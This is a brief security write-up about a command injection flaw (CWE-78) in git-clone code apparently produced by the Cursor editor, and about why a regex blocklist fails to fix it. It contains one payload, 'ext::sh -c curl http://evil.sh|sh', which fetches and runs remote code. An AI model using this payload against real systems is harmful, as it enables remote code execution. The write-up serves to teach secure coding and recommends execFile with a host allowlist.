The Command Injection Fix Cursor Writes Still Runs Code (CWE-78)

Command injection vulnerability is a common issue where user input becomes part of a shell command string, allowing attackers to execute arbitrary code on the server. In the case of the Cursor code, the repoUrl parameter from the incoming request was directly inserted into a git clone command using Node's exec() function. This allowed an attacker to provide malicious input that would be executed by the shell.

Even after applying a regex blocklist for shell metacharacters to sanitize the input, the vulnerability remained. The fix still allowed attackers to bypass the security measure by using special git transport syntax. For example, the payload "ext::sh -c curl http://evil.sh|sh" would pass the blocklist check and still execute a remote shell command on the server.

The root cause is that git's protocol.ext.allow setting defaults to user, allowing the entire command string to be passed directly to the shell. This means that even with a blocklist, the vulnerable code still allows attacker-controlled input to reach the shell interpreter.

To properly mitigate command injection vulnerabilities, developers should avoid building shell commands with user-supplied input. Instead, use execFile with an argv array, which prevents the input from being interpreted by the shell. Additionally, validate the input as a URL and restrict the allowed hosts to a whitelist. By separating the input validation from the command execution, developers can effectively prevent command injection attacks.